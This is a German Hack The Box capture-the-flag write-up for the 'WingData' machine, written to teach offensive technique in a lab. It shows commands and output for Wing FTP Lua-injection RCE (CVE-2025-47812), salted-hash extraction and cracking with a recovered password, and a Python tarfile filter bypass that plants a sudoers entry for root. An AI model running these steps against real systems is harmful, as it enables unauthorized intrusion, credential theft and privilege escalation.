HTB · published
WingData
Hack The Box Season-10 Writeup zu WingData. Veröffentlichung folgt, sobald die Maschine retired ist.
Metadaten
-
Name: wingdata
-
IP Address:
10.129.244.106 -
Plattform: Linux
-
Kategorie: Web / File Transfer / Credential Recovery / Sudo / Python tarfile
-
Schwierigkeit: Unknown
-
Ziel(e): User, Root
-
Kurzbeschreibung des Szenarios: Die Maschine stellt eine scheinbar statische Firmenwebseite bereit, die auf ein Wing FTP Server Web Client Portal verweist. Die exponierte Wing FTP Version ist anfällig für unauthenticated Lua Injection. Nach Initial Access werden gespeicherte Wing FTP Hashes extrahiert, ein Benutzerpasswort geknackt und Root über eine fehlerhafte Backup-Restore-Logik mit Python
tarfile.extractall(filter="data")erreicht.
Reconnaissance/ Enumeration
initscan:
ping -c 2 -W 2 10.129.244.106
nmap -p- --min-rate 5000 -Pn -oA scans/nmap_full_tcp 10.129.244.106
Ergebnis:
TTL 63 -> Linux sehr wahrscheinlich
22/tcp open ssh
80/tcp open http
servicescan:
nmap -sCV -O -p22,80 -Pn -oA scans/nmap_sCV 10.129.244.106
Relevante Services:
22/tcp OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp Apache httpd 2.4.66 (Debian)
HTTP auf der IP leitete auf einen Hostnamen um:
curl -i http://10.129.244.106/
HTTP/1.1 301 Moved Permanently
Location: http://wingdata.htb/
Server: Apache/2.4.66 (Debian)
Mit Host Header wingdata.htb wurde eine statische Unternehmensseite sichtbar. Im HTML war ein interessanter Link enthalten:
<a href="http://ftp.wingdata.htb/">Client Portal</a>
Der zweite vHost war der entscheidende Einstiegspunkt:
curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/
curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/login.html
Ergebnis:
Server: Wing FTP Server(Free Edition)
Title: Wing FTP Server - Web Client
Version disclosure: Wing FTP Server v7.4.3
Wichtige Erkenntnis: SSH war ohne Credentials nur ein späterer Zugangspfad. Der eigentliche Angriffsvektor lag auf dem virtuellen Host ftp.wingdata.htb.
Exploitation (Foothold)
Wing FTP Server v7.4.3 ist für CVE-2025-47812 anfällig. Die Schwachstelle entsteht durch fehlerhafte Behandlung von Nullbytes im username Parameter bei loginok.html. Dadurch kann Lua-Code in eine Session geschrieben und beim Aufruf von dir.html ausgeführt werden.
Genutzter Exploit:
searchsploit -m multiple/remote/52347.py
Der Exploit wurde lokal angepasst:
- Unterstützung für den vHost Header
Host: ftp.wingdata.htb - Deaktivierung von Proxy-Umgebungsvariablen
- Logout nach Ausführung, damit anonyme Sessions nicht voll laufen
Proof of command execution:
python3 shells/wingftp_cve_2025_47812.py \
-u http://10.129.244.106 \
-H ftp.wingdata.htb \
-c 'id; hostname; pwd'
Output:
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingdata
/opt/wftpserver
Damit war Initial Access als Service-User wingftp erreicht.
Lateral Movement / User Escalation
Als wingftp waren die Wing FTP Konfigurationsdateien lesbar:
/opt/wftpserver/Data/
/opt/wftpserver/Data/1/users/
/opt/wftpserver/Data/_ADMINISTRATOR/
Interessante User-Dateien:
/opt/wftpserver/Data/1/users/maria.xml
/opt/wftpserver/Data/1/users/steve.xml
/opt/wftpserver/Data/1/users/wacky.xml
/opt/wftpserver/Data/1/users/anonymous.xml
/opt/wftpserver/Data/1/users/john.xml
Die XML-Ausgaben wurden Base64-kodiert exfiltriert, weil rohe XML-Ausgaben vom Exploit-Parser teilweise abgeschnitten wurden:
base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml
Relevante Hashes:
wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
steve:5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
maria:a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
admin:a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba
Für Wing FTP User-Hashes funktionierte:
SHA256(password + "WingFTP")
Hashcat:
awk -F: '{print $1":"$2":WingFTP"}' wingftp_hashes_userhash.txt > wingftp_hashes_sha256_pass_salt.txt
hashcat -m 1410 --username wingftp_hashes_sha256_pass_salt.txt /usr/share/wordlists/rockyou.txt
Cracked credential:
wacky : !#7Blushing^*Bride5
SSH:
ssh wacky@10.129.244.106
Privilege Escalation (Root / Domain)
Als wacky:
sudo -l
Ergebnis:
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Das erlaubte Script:
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Erste Tests:
- Path Traversal über
../../wurde blockiert. - Absolute Symlinks wurden blockiert.
- Hardlinks wurden blockiert.
- SUID-Bits wurden durch den Data Filter entfernt.
Der funktionierende Weg war ein Python tarfile Filter Bypass im Stil von CVE-2025-4517 / CVE-2025-4330. Dabei wird über sehr lange Pfadkomponenten und Symlink-Ketten das PATH_MAX-Verhalten ausgenutzt, um trotz filter="data" außerhalb des Zielverzeichnisses zu schreiben.
Ziel:
/etc/sudoers.d/wacky_cve
Inhalt:
wacky ALL=(ALL) NOPASSWD:ALL
Malicious archive:
backup_1002.tar
Transfer:
scp backup_1002.tar wacky@10.129.244.106:/opt/backup_clients/backups/backup_1002.tar
Trigger:
sudo -n /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_1002.tar \
-r restore_cve
Proof:
ls -l /etc/sudoers.d/wacky_cve
sudo -n id
Output:
-rw-r----- 1 root root 29 Dec 31 1969 /etc/sudoers.d/wacky_cve
uid=0(root) gid=0(root) groups=0(root)
Danach war Root-Zugriff über sudo -n möglich.
Post-Exploitation
- User Flag
cat /home/wacky/user.txt
dc6ed65XXXXXXXXXXXXXXXXd24
- Root Flag
sudo -n cat /root/root.txt
1d5490fXXXXXXXXXXXXeb1
- Screenshots
Keine Screenshots erstellt. Alle Proofs wurden textuell in loot/, scans/, web/ und privesc/ gespeichert.
- Wichtige Dateien
loot/user_flag.txt
loot/root_flag.txt
loot/wingftp_user_wacky.xml
loot/wingftp_hashes_userhash.txt
loot/wingftp_hashcat_cracked_salted.txt
privesc/backup_1002.tar
privesc/cve_2025_4517_restore_attempt.txt
reports/final_walkthrough.md
reports/wingdata_writeup.md
- Relevante Logs oder Proofs
loot/wingftp_rce_proof_retry.txt
loot/root_capture.txt
privesc/cve_2025_4517_restore_attempt.txt
Cleanup wurde durchgeführt:
- temporäre sudoers-Datei entfernt
- temporäre Backup- und Restore-Dateien entfernt
- geänderte Wing FTP Admin-Konfiguration aus Backup zurückgespielt
- temporärer SSH-Key aus
authorized_keysentfernt
Lessons Learned
- Was war der wichtigste Aha-Moment?
Der Link von der statischen Hauptseite auf ftp.wingdata.htb war der entscheidende Pivot. Ohne vHost-Enumeration wäre nur SSH und eine harmlose Webseite sichtbar gewesen.
- Was hätte ich früher prüfen sollen?
Nach dem ersten Web-Fund direkt gezielt nach Produktversionen und bekannten CVEs suchen. Wing FTP v7.4.3 war ein sehr starker Hinweis auf CVE-2025-47812.
- Welche Technik möchte ich mir merken?
Python tarfile.extractall(filter="data") ist nicht automatisch sicher, wenn die Python-Version für bekannte Filter-Bypässe anfällig ist und die Extraktion als Root erfolgt. Der PATH_MAX/Symlink-Bypass ist eine wichtige Technik für Backup-/Restore-Szenarien.
- Welche Notiz oder welches Tool sollte daraus entstehen?
Eine kleine lokale Helper-Notiz für:
Wing FTP hash mode:
SHA256(password + "WingFTP")
hashcat -m 1410
und ein privesc Check:
Wenn sudo ein Python-Backup-Restore-Script erlaubt:
- Script lesen
- tarfile.extractall prüfen
- Python-Version prüfen
- CVE-2025-4517/4330-artige Bypässe testen
Notizen
Hilfreiche Commands und Hinweise:
# vHost Discovery
curl -i -H 'Host: wingdata.htb' http://10.129.244.106/
curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/login.html
# Wing FTP RCE
python3 shells/wingftp_cve_2025_47812.py -u http://10.129.244.106 -H ftp.wingdata.htb -c 'id'
# Hash Extraction
base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml
# Cracking
hashcat -m 1410 --username wingftp_hashes_sha256_pass_salt.txt /usr/share/wordlists/rockyou.txt
# User
ssh wacky@10.129.244.106
# PrivEsc
sudo -l
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_cve
sudo -n id
sudo -n cat /root/root.txt
Quellen:
- CVE-2025-47812:
https://nvd.nist.gov/vuln/detail/CVE-2025-47812 - Exploit-DB 52347:
https://www.exploit-db.com/exploits/52347 - CVE-2025-4517:
https://nvd.nist.gov/vuln/detail/CVE-2025-4517 - CPython tarfile Issue:
https://github.com/python/cpython/issues/135034